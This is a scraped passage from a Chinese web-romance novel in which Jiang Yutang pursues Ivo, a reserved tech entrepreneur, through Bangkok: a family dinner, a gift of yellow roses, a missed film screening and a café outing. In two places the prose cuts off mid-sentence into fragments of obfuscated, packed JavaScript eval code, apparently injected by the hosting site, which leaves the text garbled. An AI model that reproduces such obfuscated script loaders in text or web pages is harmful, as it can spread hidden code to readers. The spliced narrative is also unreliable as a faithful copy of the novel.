“嗯。”Ivo点点头,再次走到沙发前,看向姜遇棠,“你没做计划,为什么不跟Mark的团?” “不想跟呗。”姜遇棠倒回沙发,直视Ivo的眼睛,随口道,“跟一群不认识的人一块儿逛,能有什么意思?” “是不想跟团,还是不想逛景点?” “都有吧。” “那你为什么要来曼谷?” 他知道姜遇棠并不喜欢曼谷,来这里根本没有做过任何出行计划,好像无所谓逛哪儿,无所谓在哪儿,走一步算一步。 姜遇棠沉默了下,随即很浅地笑了声。 她总不好告诉Ivo自己是临时起意,其实她还可以选择去巴布新几内亚的。见他目光冷静又略微有几分淡漠地瞧着自己,似乎真的只是在问一个寻常不过的问题,姜遇棠慢慢回道:“哈,可能是那天脑子抽风了吧。” Ivo很慢地眨了眨眼,不再多说什么。 二人安静地在沙发上坐了会儿,Mark从厨房出来,喊他们吃饭。 做的是传统泰餐,顾及到姜遇棠的口味,少放了很多锅底和佐料,因而色泽看起来没有饭店的那么鲜艳,不过肉类和海鲜都非常新鲜。 Mark去冰箱拿饮料,给自己和他妈妈拿了印有大象标志的啤酒,给姜遇棠和Ivo拿了两罐果汁。 他很快就回到餐桌,把饮料分给大家。 Mark属于不会让话题掉在地上的类型,他妈妈也是,饭桌上大家愉快地闲聊着,姜遇棠有问必答,看起来与平常无异。 但不知是不是Ivo的错觉,他总觉得这次姜遇棠吃饭很快,好像到别人说话时就会不自觉地加快咀嚼速度,特别是在他开口时,不会接任何话,只默默吃着。所以在Ivo尚且三分饱的时候,姜遇棠已经用餐完毕。 将餐具放下,Mark问她还要不要喝点儿别的饮料,姜遇棠说不用。她听到院子里有小狗的汪汪声,指了指院子,问他:“那狗会咬人吗?” “不会。” “那我出去和它玩会儿。” “好的。” 姜遇棠慢悠悠地走了出去。 进门前没有注意,这会儿才发现门旁就有一个迷你版的别墅,小别墅里头趴着一条比格犬。这狗似乎不怕人,见姜遇棠靠近了,疯狂地冲她摇尾巴。 姜遇棠蹲下身子,伸手轻轻地摸了摸它的脑袋。 狗狗很乖,不停地往她的掌心拱,十分钟里,姜遇棠的手就没离开过它的脑袋。 Ivo出来时,姜遇棠还在跟狗玩。 他跟她说要走了,她也没理。 Ivo在旁边耐心地等着,姜遇棠跟小狗玩了半天,也道别了半天。等他以为她不想走了,她才松开小狗,起身。 “走吧,送你回去。” Ivo双手扶着方向盘,目视前方。姜遇棠则靠在椅背上,沉默地、气愤地遥望着窗外一扫而过的潦草街景。 二人一路都没说话,车开到半道时,路过一条繁华的商业大街,姜遇棠似乎有些受不了了,猛地打开车窗,想要感受一下曼谷潮热的暖风。 出乎意料的,从外头卷进来一股刺鼻的味道,很难形容,反正闻着就让人想要呕吐,姜遇棠赶紧将车窗关上。 一旁沉默开车的Ivo似乎早已忘掉他们之间的龃龉,告诉她:“是大麻,曼谷这边吸食大麻不犯法,所以这种情况很多。” 姜遇棠转头看他,本意是想指责他这不计前嫌套近乎的行为,可一想到那股怪味,又忍不住皱眉,恶心极了那股怪味。 Ivo好像明白她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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Ivo平时面容冷酷,此刻稍稍带着点儿笑意说话,给人的距离感便不再那么遥远。他的眉骨很高,眼睛深邃,长睫在眼下投下细密的阴影,一眨一眨的,看得人心旌摇荡。 姜遇棠不知道Ivo是什么时候走到自己面前的,也不知道他手里拿着的鲜花是什么时候变换的,等到停在她眼前时,已经变成了一束妖艳的黄玫瑰。 他把这束黄玫瑰递给姜遇棠,姜遇棠才好似从梦中惊醒。 她眨了眨眼,没有犹豫地收下了,只是好奇问他:“为什么要送我花?” “应该算是道歉。”Ivo笑了下,“或许我刚刚说话的语气不太好,惹你不开心了,但我并不是有意的,希望你不要介意。” 刚刚?是指吃饭那会儿吗?还是指她让他试一试时? 姜遇棠不确定,但现在显然不是纠结此事的时刻,她满不在乎地说:“没事啦,我根本没有放在心上。”似乎真的没有在生气。 Ivo不确定地看着她,转身引着她往车的方向走。 姜遇棠抱着这束黄玫瑰,凑近嗅了嗅,又嗅了嗅,鼻尖被玫瑰清淡的味道安抚,感觉自己的心情都好受了许多。 两个人本就颜值突出,身高与身材也挑不出丁点儿毛病,姜遇棠又抱着一束明艳的鲜花,很快就吸引了路人的注意。 在曼谷,无论发生什么都不足为奇,这里自由而浪漫,多情又包容。不过周围人来人往,人们匆匆扫过他俩,也不会做过多停留。 但姜遇棠却在那些随意打量的视线下,陡然生出了勇气。 她快走两步,跟上Ivo,视线在他骨节分明的右手上停留片刻,忽地伸出自己的左手,悄悄摸上他的手指,穿过指缝,快速按下。 Ivo顿了顿,转过身,低头看她。 刚要说话,姜遇棠以为他要松开,紧了紧手指,着急道:“就一小会儿,上车就松开,可以吗?” Ivo感觉自己的手背被人牢牢扣住,让人想起曼谷最炎热的季节,温热的感觉覆在上面,好像点了一团火。 这感觉陌生而堂皇。 相贴的脉搏能感受到心脏在猛烈跳动,久久不停。 但他并没有将她的手扯下,也不再看她,而是用右手轻轻地回握住了她。 11. 电影 到家时是傍晚,Ivo先是伏案办了会儿公,接着又去浴室冲了个澡,然后翻开古斯塔夫·勒庞的《乌合之众》,看完才慢慢走去卧室。 可他并没能很快睡着,多年良好作息养成的生物钟在这个晚上罕见得出现了紊乱。 这几年操心公司的事,筹备创业、经营人脉、四处出差,和营销部开会、应付各类投资人,他鲜少拥有睡眠时间,加之本身就不是个喜欢在费心费力的事上花太多时间思考的人,所以一旦上了床,就很少会出现失眠状况。 但这一晚却睡得异常艰难。 第一次尝试入睡的时候,Ivo没能立刻睡着,于是他起床看了会儿邮件,批量清除垃圾信息,又看了会儿行业顾问提供过来的报告。 第二次尝试入睡的时候,他的脑子不再被工作占据,反而变得全是姜遇棠。说话的姜遇棠,开玩笑的姜遇棠,邀请他一道结婚的姜遇棠,几乎无处不在。 揉着脑袋从床上坐起,Ivo感觉自己的脑袋好像公司刚起步那会儿一样被塞满了各种东西。他静静地靠坐在床头,一个人发了许久的呆,眼睛盯着窗外的夜景,像在打量,又似在放空。 盯着窗外瞧了许久,在清醒时刻,他开始认真思索姜遇棠这个人。 事实上,他想不明白。 从小到大,无论在哪个国家,Ivo都很受欢迎,相貌、身高、学识、家世,几乎无可挑剔,他过惯了被人追捧的生活,几乎已经习以为常。 姜遇棠,则是另一种受欢迎,她的美,能够让人感到惊心动魄,但她本人的性格,却让他意识到她是一个同自己完全不一样的人。 自小的生活环境让Ivo比同龄人敏感,他从小接触到的人太多,各类文化杂糅下,令他在看事情和思考问题的角度上也和多数人不同。 而姜遇棠,凭借这几天的接触,Ivo认为她本质上是个在爱意氛围下长大的孩子。她好像随心所欲惯了,今天遇到一个喜欢的人,就能够为他奋不顾身,什么都不在乎,只跟随自己的心走。 是一种与自己全然不同的生活状态。 他其实不太好形容自己对她的感觉,你要说喜欢吧,好像还没到,要说讨厌,又远远不至于。 姜遇棠对他呢,满嘴的非他不可、坚定是他,可看过来的眼神,你又很难从中找到几分真心。无从分辨她话里的真实性,也难以判断她是否会随时变卦。 这感觉令Ivo心绪混乱,不由地让他想起一些年少时经常困扰他的梦境,还有他常年在外头写生、热爱自由到一年半载都不会给他打一次电话的母亲。她那么美丽,那么自由,像空中的飞鸟一样,不受任何人束缚。 Ivo的母亲是名画家,年轻时去法国交换,认识了碰巧到法国出差的父亲。两人都青春靓丽,又自由,短暂地交往了一个月,意外地怀上了他。 知晓自己怀孕的第一刻,母亲的第一反应就是打掉,但是身体原因导致她无法堕胎,于是只能将他生下。 Ivo是早产儿,刚出生时十分瘦弱,在保温箱里待了很长时间,后来便被接到了他妈妈身边。但她也没亲自照顾,偶尔送到他姥姥姥爷家,偶尔让保姆来,再后来,就干脆让他一个人待着了。 Ivo花了很长时间适应这样的生活,一个人乘车,一个人上学、放学,考试考了满分也无人夸赞;吃穿用度全靠自己,从外头归家,家中从来无人等候,高烧至差点晕厥也只能自己打车去医院急诊。 这种状况直到被他的父亲接回德国才略微得到改善。 他的父母性格截然不同,母亲浪漫自由,父亲则古板严肃,并且对他要求极为严苛。 他父亲有自己的事业,经常在欧洲各国出差,分不出太多精力管他。 Ivo从小就不是那种爱哭的类型,他小时候因为课业没得A,难得露出沮丧的表情,父亲就会用严厉的话语告诫他,称这不是男人应当流露出的情绪,还说强者从不会在外人面前展露情绪。 他不准他表现出懦弱,不准他贪玩,不准他依赖别人,只需要专注于学习。 当时Ivo也才10岁出头,在父母面前还会表现出脆弱,渴望得到关注,因父亲的话,往后他再没流露出一丝情绪。 后来,Ivo的成绩的确像他那个拥有学历崇拜的德国父亲要求得一样好。按他的意思,Ivo将来怎么着也该成为一名麻醉科医生,或者是别的专业,至少也要读到博士。 他一路都在按照他的计划走,直到在大学时选报了计算机专业。 之后开始创业,走的每一步都与父亲的想法大相径庭。后来父子关系变得疏离,很难说与他所选的专业没有关系。 就这么想了一会儿,思维便开始发散,纷繁的思绪忽然在脑子里横冲直撞,暴力拉扯着他的神经,控制着他的情绪。最后大约是太过疲惫,实在无暇思考太多,Ivo就这么睡了过去。 这一觉睡了很久。 梦里的场景不断跳跃,一会儿是在中国,他母亲告诉他,她已经找到了一生挚爱,打算结婚、安定下来,过段时间他就会被父亲接回德国;一会儿是在德国,父亲告诉他学习是最为重要的事,在他这个年纪,不该思考其他东西;一会儿是在泰国,身旁出现了一道模糊身影,他牵起对方的手,同她做了一项约定。 至于约定的内容是什么,他还来不及记得,就被手机给吵醒了。 昏昏沉沉地从梦中醒来,已经是上午9点,手机铃声一刻不停地响了很久,邮箱里也积攒了数条消息。 Ivo坐起来,放空了一会儿脑子,才想起今早要和研发部门开会。他当即联系助理将会议推迟到1小时后,洗漱完便驱车赶往公司。 另一边。 回到酒店的姜遇棠,踏入房间就去浴室美美地洗了个澡,躺床上玩了会儿手机,又重新回到沙发前。 酒店的房间很大,茶几上放着一个装满鲜花的花瓶。她把里头的鲜花取出,把捆绑黄玫瑰的绑带解开,一朵一朵插.进.去。 插完又调整了会儿角度,拍了几张照,才好像终于累了,再次倒回床上。 房间里很清净,姜遇棠的脑子却异常亢奋。 想到几小时前Ivo没有拒绝她牵他的手,她就觉得他并不抗拒她的肢体接触,继而延伸为他不排斥她,并且有点儿喜欢她,那就说明结婚这事指日可待了。 姜遇棠抱着被子睡,感觉一觉醒来就会跟Ivo结婚。不知是不是抱得太紧,连梦都是潮湿的。刚开始是湿漉漉的手心,接着浑身都变得湿漉漉、黏糊糊的,像有密密匝匝的水黏在身上。 梦里不知在哪,潮热漆黑的室内,她感觉自己的手腕猛地被人一把攥住,尚未反应过来,就被人给压在了身下。 耳边响起一道熟悉的声音,贴着她的耳朵问:“那你为什么要来曼谷?” 嗓音低沉沙哑,身上的温度则像是□□在燃烧。 时间在这一刻静止了,浑身冒出细细密密的汗。 姜遇棠偏头看他,想用故作惬意的语气对他说:当然是为了来找你啊,不然你以为呢? 只是不待她回答,那人便沉默地低下了头,身体力行地撞破了她的所有幻想。 目光黑黑沉沉,动作残暴可怖。 醒来时,姜遇棠最先看到的就是茶几上的黄玫瑰。 那颜色简直跟她的梦一样污浊。 她像是在水里浸泡了一晚,四肢都能感觉到弥漫的潮湿,沉甸甸的。 姜遇棠把身上的那股重力掀开,才发现夜里尚有嗡鸣声响的空调不知何时停止了运作,屋内门窗紧闭着,难怪会闷出一身汗。 不知道的还以为她刚去了趟非洲呢。 已经是上午10点,35℃的曼谷热得姜遇棠止不住冒汗,所以刚洗漱完,她就准备下楼去找工作人员帮忙处理。 但电梯迟迟不来,等电梯的过程中,姜遇棠忍不住开始抱臂自责。 一晚上的邪念缠身,在做什么春梦呢?就因为一束玫瑰,至于吗?我姜遇棠是这样没见过世面的人吗?只是一束花诶,才一束花而已,我可不能这样轻易就被满足。 暗暗下定决心,偏偏脑子里又总是会浮现出那样旖旎的画面,姜遇棠感觉自己还真是被Ivo给诱惑了,并且诱惑得不轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即使是姜遇棠,在听到她的报价时,也感到了曼谷商家的惨无人道,以及这份午饭的弥足珍贵。 好在芒果多汁,椰香浓郁,倒也没让她心疼太久。 沿街逛了会儿,溜达到12点,姜遇棠走到一家电影院门口。 时下热映的电影有很多,泰国本地的、外来电影都有。姜遇棠随机挑选了一部,买了两张票,同工作人员说明一番,便给Ivo发去一则消息—— 【我给你也买了一张电影票,你到时候过来跟工作人员说一声就行。】 她自说自话地通知对方,消息自然没有立即收到回复。不过这已经成为了姜遇棠在曼谷的生活常态,所以她并没有放在心上,也没能意识到Ivo是刻意不回她消息的。 她独自一人走进电影院,泰国的影院空调打得都很低,刚进去就冻得她一哆嗦。姜遇棠不自觉地拢紧了防晒衣,看眼票根,迅速找到自己的座位坐下。 巨型荧幕上很快开始投放广告,周围的观众已然沉浸在了观影氛围里,但姜遇棠的目光却很空。 她时不时地拿出手机看两眼,看Ivo是否回消息,可广告播了足足30分钟,那两个灰色的勾始终没有变蓝。 哪有人半小时都不看一眼手机的?真的很离谱。 犹豫片刻,姜遇棠仍是没忍住发过去一条消息:【你还活着吗?】 没有收到Ivo的回复,姜遇棠也逐渐不再抱有任何希望,决定暂且在脑内屏蔽掉这件事,收起手机,专心看电影。 但泰国电影冗长的广告听得她实在昏昏欲睡。 被国内的影视剧组惯坏了,姜遇棠天真地以为荧幕上会出现英文字幕,待正片上来,才发现并没有。看了一小会儿,姜遇棠就在陌生语言宛如白噪音般的催眠之下,放任自如地睡了过去。 中途有听到几句轻微的说话声,好像是工作人员的声音,隐隐约约中又似乎听到了Ivo的声音。但泰语实在是太让人犯困了,姜遇棠着实提不起精神睁开眼皮,就没搭理。 等到电影结束,欢快的歌曲传来,放映厅里的灯光渐亮,周围人群纷纷起身,一下子变得嘈杂喧闹,姜遇棠才睁开惺忪的睡眼,看向大荧幕。 自然是没有看到任何有意义的画面的,脑袋也懵懵的。缓了一会儿,姜遇棠才意识到已经散场。 她赶紧回头,收拾好背包,从座椅上站起来,打算跟随人流出去,却意外地被一双大长腿给拦住了去路。 12. 自由 姜遇棠的脑袋其实还没有特别清醒,头发也有几分凌乱。 她把发丝往两旁扒拉扒拉,提醒对方让一让,轻声说了句:“Excuseme?” 但对方显然没有理解她的意思,稳坐一侧,不动如山。 简直难以置信。 姜遇棠可从来没有遇到过这么不讲理的人,眉头微皱,垂眼看过去,没想到正好迎上对方的目光。 是很熟悉的一张脸,眉毛粗而厉,眉骨很深,鼻梁挺拔得都有些过分倨傲了。 他今天穿的是件材质讲究的灰色西装,好像出席了什么活动,发型有被认真打理过。 蓦地,姜遇棠感觉自己烦躁的情绪倏然滞住了。 上一秒还在为Ivo不回消息心生愤懑,下一秒就因为他突然出现在眼前,感觉体内好似有东西在翻滚,像沸水滚动,不断地向上冒泡,一颗,两颗,三颗,即将溢出胸腔。 姜遇棠抿了抿唇,思考过后,还是决定不好好说话,她的语气幽幽的:“电影都散场了,你现在来做什么?” 那双深蓝色的眼睛看向她,Ivo很久没说话,姜遇棠猜测他是心虚,于是很直白地瞪着他。 结果听到Ivo说:“我给你发过消息,问你影院在哪,但你没回。” 他在九点二十出门,路上遇到拥堵路况,赶到公司时已经将近10点。 Ivo经营着一家科技创新型企业,名叫BraveDream。最初以开发增强现实技术起家,后来又在智能整机、高端装备研发、制造与销售等多领域发展,去年9月刚完成一项超过7亿美元的C轮融资,年底便接到德国知名车企的车载抬头显示系统模拟的大单。之后Ivo接受过几家科技与金融相关的杂志访谈,文章春秋笔法,将他们公司的业务过分夸大,还称其将引领世界互联网发生重大变革。再之后,又有媒体接连曝出BraveDream将被全球互联网巨头企业收购的新闻,也有爆料称其将与中国游戏公司开展合作,各类媒体宣传到位,一时间市值水涨船高,估值早已突破60亿美元。 BraveDream收到收购邀请是假,将与中国的游戏公司进行合作却是真的,这计划也持续了近半年。 开会前收到姜遇棠的照片,Ivo简单看了两眼,回想昨夜种种,一时不知该作何答复,就暂且将这事给搁置了。 之后去会议室跟研发部门探讨增强现实技术开发的进度,以及这项技术用于人工智能及游戏的可行性。 会议整体而言秩序井然、氛围融洽,尽管光是分析汇报新产品的PPT就有几十页,但比起跟外部的投资人打交道、虚与委蛇,已经算得上轻松。 Ivo在开会时给手机设置了免打扰,会议结束后看到WhatsApp上弹出姜遇棠的消息,她问他是否还活着,时间显示是1小时前。 他不确定姜遇棠在发这则消息时是否在生气,只是很快地问她:【你在哪儿?】 当然没有收到回复,于是Ivo点开消息上方的图片查看。 即使加载完毕,照片里的影院地址也十分模糊,只依稀辨得电影场次与影片名字,很难想象这是一份诚心邀约。 Ivo盯着这张照片看了很久,最后透过票根下角隐约可见的食品销售区判断出了影院的具体方位。 他给助理交待了一会儿工作,然后抓起车钥匙,飞快地赶了过来。 到的时候,影片已经进入高潮部分了,全场屏气凝神,工作人员领着他走到座位附近,悄声示意。 Ivo往那边看了眼,姜遇棠早就睡着了,他同工作人员道了声谢,弯着腰走到座位前落座。 电影是纯泰语的,也无任何解说,Ivo猜测姜遇棠应该从一开始就睡过去了,所以才没有回复消息。也不知道她昨天去做什么了,竟然会这么困。 Ivo平静地声明了自己做的事。 姜遇棠将信将疑地点开手机屏幕,发现在她骂他的那条消息下的确收到了回复,而她也的确是没有看到。 谁都有不看手机的时候,哪有人24小时盯着手机的啊?再说了,她才不回这么一回,跟Ivo比,让他一只手都绰绰有余。 所以姜遇棠非常坦然地接受了自己的行为,一点儿都不心虚,一双眼仍是狠狠地瞪住对方。 她的眼睛很大,瞪人时有几分唬人,好在Ivo并不害怕,顶着她的目光,一脸平静。 “还生气吗?”Ivo问她,不知站在何种角度。 姜遇棠装无辜:“谁说我生气了?我可没。” “行,那你想接着看吗?”Ivo盯她许久,从座位上站起来,“还是走?” 当然不看了。 她又看不懂。 姜遇棠觉得Ivo的话非常好笑,赶紧捞上自己的包打算走人。 “那我们走吧。” “嗯。” 此时是下午14点多,正是一天当中最热的时候。 影院外头倒是热闹,路边有很多小摊位,到处都是卖工艺品和纪念品的,也有许多卖水果和冰饮的推车。周围围满了各国游客,三三两两地聚在一起聊天,五颜六色的TukTuk车飞驰而过。 起初姜遇棠还边走边看,同其他游客一般充满兴致,时不时地问上摊主两句,拿起纪念品比对着看,50泰铢的手工艺品在她眼里好似旷世珍宝。她像是对什么都很感兴趣,还和几个欧洲游客玩笑攀谈,跟Ivo保持着不近不远的距离。 她走走停停,停下时,Ivo也会跟着停下,或者放慢脚步等她。 到了太阳比较毒辣的地方,她就突然消失了,也不看工艺品、不问摊主了,好像全然失去了兴致。 走到车边Ivo才意识到不对劲,回头发现姜遇棠不知何时突然跟他拉开了距离,她好像为了躲避什么,一路东躲西藏的,贴着房檐走。 不太放心,Ivo还是没忍住问了句:“怎么了?” 姜遇棠停住脚步,看他一眼,用手作扇扇风:“没怎么,太晒了。” Ivo重新走到她跟前,目光低垂,认真看她的脸,发现即使是这样躲,她的脸还是被晒得红扑扑的,丝丝缕缕的长发黏在脸上,唇色嫣红。 他忍不住问她:“这么热,干嘛还出来玩?” 她被问得还有些不高兴,梗着脖子很有理地辩驳:“不然能怎么办?待在酒店很无聊啊,你又不会过来陪我聊天。” Ivo顿了下,刻意忽略她话里的隐隐期待,只说:“我今天有点儿忙。” “哦,那这会儿不忙了吧?感谢你百忙之中抽空过来啊。”姜遇棠淡淡开口,眼睛被太阳照得都有些睁不开。 Ivo往边上站了点儿,替她挡住阳光,随手扯了把领带,平静地看着她。 他的眼睫低垂,不笑的时候气质疏离,给人一种距离感。此刻,平静的眼底却出现了起伏,起初是不解,过后又变成审视。 姜遇棠总是这样,话偶尔变得得体自然,表情也是一如既往地好似没放在心上,偏偏语气又暗含阴阳怪气,总让人看不懂。 Ivo从小学着读懂别人的表情,读懂他人的言外之意,读懂的瞬间,好像也意味着自己的情绪在逐渐被封锁。 那时候被父亲强迫着学习,总觉得学习是最为关键重要的事,其他都不重要,所以情绪与否,失去或者存在,都不重要。 可现在...... 没等他搞懂,姜遇棠也用同样探究的目光上下打量他:“你干嘛?” 他倏然回神,收回视线,问她:“你渴吗?我过去买杯饮料吧。” 不等她应声,Ivo就转身走到了一辆推车前,跟老板要了一瓶冰饮,插上吸管,递给姜遇棠。 “突然这么好干嘛?是存心想让我误会吗?”姜遇棠伸手接过,畅饮一大口后,说。 “误会什么?”Ivo不解。 “当然是误会你在关心我啊。”姜遇棠微眯起眼,弯起嘴角看他。 “嗯。”这次Ivo倒是没有否认,只不过话说得也没有特别动听,“因为你看起来像是要中暑了。” “切,这话说得好像路上随便一个要中暑的人你都会关心似的。”姜遇棠不满,但也没有在意,轻轻地扯了扯嘴角,往前走了两步,又转身问他,“我们这是要去哪儿啊?” 其实Ivo也没想 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男人的个子跟Ivo一边儿高,长相却没有任何混血气质。他先是用英文同二人打了声招呼,又问姜遇棠能否要个Ins账号。 姜遇棠笑了下,委婉地表示了拒绝。 男人倒也没气馁,又问她可否合影,姜遇棠扫眼一旁事不关己的Ivo,爽快地说好。 合影结束,二人继续往前走,一路沉默。 快走到车前时,Ivo突然停下,思索片刻,最终还是没忍住问她:“你,对所有人都这样吗?” “怎样?”姜遇棠停下喝饮料的动作。 Ivo想了下,事实上,这个念头并不是凭空冒出的,结合初遇时的种种,Ivo的脑子里不得不冒出这样一种可能:“来者不拒,表现得跟谁交往都行。” 他的胸口莫名烧起一团火,说话的语气也难得变得不那么友善。 姜遇棠“啧”了声,她哪接受得了这样子的污蔑啊,倏地皱起眉头:“你是想吵架吗,京墨?我怎么就跟谁交往都可以了?我什么时候跟别人交往了?只是合个影,我连联系方式都没给人家,好吗?” 突然被喊中文名,令Ivo一愣,他扫她一眼,随后语气平静地给她下定论:“是吗?即使这个不是,想必你以前也谈过不少吧?” 姜遇棠简直要被他这毫无缘由的话给气到,当即否认:“谁说的?没有!” 否定完,又怕输了士气,也是慢慢觉出Ivo话里的不对劲儿,姜遇棠立刻收敛脾气,扬扬眉,立马同他开起玩笑:“怎么?突然关心我的情史干嘛?你是打算跟我交往吗?那我可要好好考虑考虑了。” “......” Ivo发现自己还真不能跟姜遇棠聊太多,因为他始终不是她的对手。 其实他一般也不会过问这些私人问题,他也不知道自己今天是怎么了。 Ivo淡淡地移开目光:“没有。” “切,那正好了,我也没打算跟你交往,我是打算直接跟你结婚的。”姜遇棠笑着说。 Ivo顿了下,再次告诉她:“这......不可能。” 他忽然想到他的父母,即使他们只是短暂地交往过一个夏天,没有结过婚,Ivo也知道结婚不该草率,且在正式步入婚姻之前,双方是需要经过一段确认关系—交往的时间的。 可一旦想到父母的自由关系,加上周围自由的两性关系,Ivo又感觉困惑了,他也不确定正常的关系究竟是怎样的了。 或许这个世界上根本就没有正常人。 “有什么不可能的?我就觉得我们一定会在一起啊。你是有什么顾虑吗?婚前焦虑症?还是结婚恐惧症?放心啦,Mark说你很忙,加上我也热爱自由,所以就算结了婚,我也会给你无限的自由,你还是可以做你自己的,我绝不干涉。” 全然没有把他的话放在心上,还自说自话地替他规划好了未来。 Ivo当然没有理会:“既然可以给我无限自由,那不如不结,我一个人单着或许会更加自由。” “怎么会?你都还没跟我试过呢,怎么知道一个人更好?不如你先跟我试一试?” 13. 小动物 Ivo不禁蹙起了眉,他不知道姜遇棠是怎么得出这个结论的,又是从什么时候开始,判断他是适合她的结婚对象的,以何种际遇,何种缘由。 而他好似缺乏这样的际遇:“说实话,我没有想过要结婚。” “嗯哼?”这是姜遇棠没有想到的,她表面上露出一个甚为遗憾的表情,脑子一转,又将话题拐回了自己身上,“是没想过跟别人吧?那跟我呢?你可以好好想一想的。” “不用了。”Ivo拿出车钥匙,示意姜遇棠上车,“婚姻关系对我来说是一道束缚,我暂时还没准备好踏入。” “婚姻怎么会是束缚呢?我不会约束你的,都说了会给你自由的啊。而且谁说结婚是道束缚了,我就很想跟你在一起啊,我想要这道束缚。” 她说话时坦坦荡荡,Ivo不可避免地朝她看去,见她目光真挚,他的视线顿了顿,又很快移开,最终选择不答。 预料到他会是这种反应,姜遇棠也没有太过惊讶,思考了下,又问他:“Ivo,你以前......有谈过恋爱吗?国内、国外的都算。” 他几乎是毫不迟疑地回答:“没有。” 姜遇棠不由地睁大了眼睛,眼里满是惊讶:“怎么会?你看起来就是那种学生时代特别受女生欢迎的类型啊,应该有不少女生主动追求你吧?” 姜遇棠以为他的感情经历应当十分丰富,凭她的认知,这张脸加上这种不与人亲近的高冷性格,在学校应该是很受欢迎的,至少在国内会很受女孩子喜欢。 她上高中那会儿,他们班班长就是这种类型,成绩特好的闷葫芦儿,每天除了吃饭、睡觉,就是学习。她其实不明白为什么,但总有很多别班的女生会跑来他们班门口蹲守他。 当初姜遇棠挤开那群女生出去上厕所,回来还会顺带帮她们传个情书,因而揣测Ivo的学生时代大抵也差不多。 但Ivo只是看着她,没有否认这件事,低声说:“没有时间。” 姜遇棠随手拉开车门,瞥他,从他的脸上分辨不出真假,于是幽幽道:“我知道你是大忙人啊,但你难道从来都没有喜欢过谁吗?你对异性就没有任何冲动?怎么说呢,类似于荷尔蒙的冲动?一点儿都没有吗?” “没有。” 姜遇棠简直震惊了,惊讶完又不免感到好奇:“那你那时候在干嘛?你是在追星吗?对了,你们德国的足球比较厉害,比中国强多了,你难道是更喜欢体育运动?” Ivo似乎有点意外,也不知道她是怎么脑洞突发地联想到体育运动的,很轻地扯了一下嘴角。 “偶尔会看球赛,但我不追星,我那时候没有那么多的时间考虑其他东西,我需要专注于学习。”他拉开他那侧的车门,继续道,“我的父亲他......比较严肃,他对学历的要求特别高,所以我小时候只会学习。” “这样啊,那真是太可惜了。”姜遇棠尤为遗憾地评价,落座后,没有着急系上安全带,反而侧身凑到他跟前,嘴角漾起轻微的弧度,“以前没时间思考这些,那现在可以好好想想了,现在你父亲总不会再管你了吧?” 她的指尖轻敲中央扶手箱,饶有兴致地看着他。 距离很近,可以看出她的肤质很好,细腻到连毛孔都看不到。刚刚出了汗,鬓角和额头还有碎发缠着。她的眼睛像麋鹿,专注看人时显得格外虔诚,偏偏里头又透着一股子散漫劲儿。 这样的脸和这样散漫的性格总会给Ivo一种矛盾的割裂感。 他不知道姜遇棠今天怎么了,明明平时做事随性利索,不在乎,不介意,怎么今天就一直在这件事上纠缠。 Ivo眉峰轻动,默默移开视线,系好安全带:“记得你之前说过,中国有很多相亲节目,会邀请男女嘉宾参加,你认为他们是真的。如果你真的很想结婚,不妨去试一试,或许他们比我更适合你。” “干嘛这么说话?我又不喜欢他们。”姜遇棠一副被伤到了的表情,眼里好像汪着一泉水,虽然是假装的。 Ivo一愣,也为自己冷不丁提出的这个建议感到抱歉,尽量保持平静语气问她:“那你喜欢我什么呢?” 面前一张淋了雨的脸立刻转晴:“当然是喜欢你整个人啊,喜欢你全部。” 她说出这句话,注意到Ivo的眸光有些明显变化,但是表情依旧平静如水,似乎已经习惯成自然了,Ivo轻轻地点点头:“等等吧,我们先跳过这个话题,好吗?你饿不饿?附近有家咖啡厅,也算是餐厅,里头有很多小动物,你想不想去看看?” “好吧。”知道他是在生硬地转移话题,姜遇棠也懒得再同他争辩,反正她时间多,有的是耐心等待,“我等着就是了。” 车子很快驶出这条路,往左拐了一圈,又往前开了会儿,路过一个令人眼熟的市场。 姜遇棠抬手指了指窗外,指着一个卖餐点的摊主,再次开启话题:“我早上在那里被骗了钱,就是那样的推车,那老板一份芒果糯米饭竟然收了我350泰铢,简直是把中国人当傻子骗啊。” Ivo并没有看她手指的方向,但因为在曼谷生活多年,城区主干道也开过数回,大概知道她说的是哪儿,笑着说:“那边是考山路,考山路这个地方骗子多。” “是吧?我就知道我是被坑了,一份芒果糯米饭竟然要350泰铢,无论是芒果还是糯米,都不值这个价吧?” “嗯。” 等那辆推车慢慢从后视镜里变成一个小点儿,又逐渐消失,Ivo打了把方向盘,才继续对姜遇棠说:“其实不止是考山路,世界各地都差不多吧。以前在德国,我的朋友就常跟我说,商家最爱的就是中国消费者了。TheyseeChinese,theyseemoney啦。” 姜遇棠本来还在靠着窗户四处张望,因为Ivo的话,陷入了短暂的沉默。虽然很不想承认,但又好像无法否认,最后还是想要为中国人正名:“其实我们中国人也不都像我这样的啦,很多人,还是......很聪明的!” Ivo笑了笑:“是吧?” “当然啦。” 曼谷市中心有很多有名的咖啡厅,Ivo之前听Mark介绍过,七七八八地也了解过不少,但这家却是第一次来。 他对着中控屏喊了声:“克鲁格,导航至L7咖啡厅。” 一个低沉的男音便从音响里冒了出来:“L7Cafe,26Sukhumvit4Alley,KhlongToei,8.2km,预计31分钟后到达。” “你这车也有语音识别系统?” “嗯,我改装过,不过只能识别我的声音。” 他一路跟随导航才找到了具体方位,最后车子在一栋洋房旁边的院子里停下。 这家咖啡厅是一家融合餐厅,据说老板是中国人。 周围都是富有商业气息的餐厅,其实它看起来并没有什么独特性。 姜遇棠跟着Ivo下车。 临近餐点,加之天气炎热,餐厅今天人气爆棚。他们来得晚,又没有提前预定位置,室内带空调的座位早已被人占领,侍应生只好将他们带到没有空调的室外。 姜遇棠挑了张靠近风扇的桌子,拉开椅子落座。 脚底铺满黑色的石子,身侧是巨型投影仪,此刻里头正播放着TaylorSwift的《CruelSummer》。 听到熟悉的歌曲,她随口跟着哼唱了几句,Ivo接过侍应生递过来的菜单,推到姜遇棠跟前。 “你看看想吃什么。”他让她选择,知道姜遇棠挑不出来,便听从侍应生的推荐,选了几道菜,然后才看向她。 侍应生也同样看向她。 姜遇棠并不挑食,但也的确有些选择困难,抬手点了点蛤蜊意面的图片,又要了份草莓奶昔,一把将菜单合上:“我觉得差不多了。” “行。” 